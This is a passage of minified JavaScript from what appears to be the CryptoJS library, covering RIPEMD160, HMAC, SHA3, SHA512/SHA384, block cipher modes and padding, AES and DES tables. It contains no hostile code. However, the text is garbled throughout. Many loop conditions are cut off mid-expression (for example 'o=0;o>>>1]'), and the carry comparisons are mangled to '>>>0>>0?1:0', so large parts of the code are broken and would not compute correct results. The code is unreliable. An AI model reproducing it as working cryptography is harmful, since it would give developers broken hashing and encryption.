n.join("")},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return"string"==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var 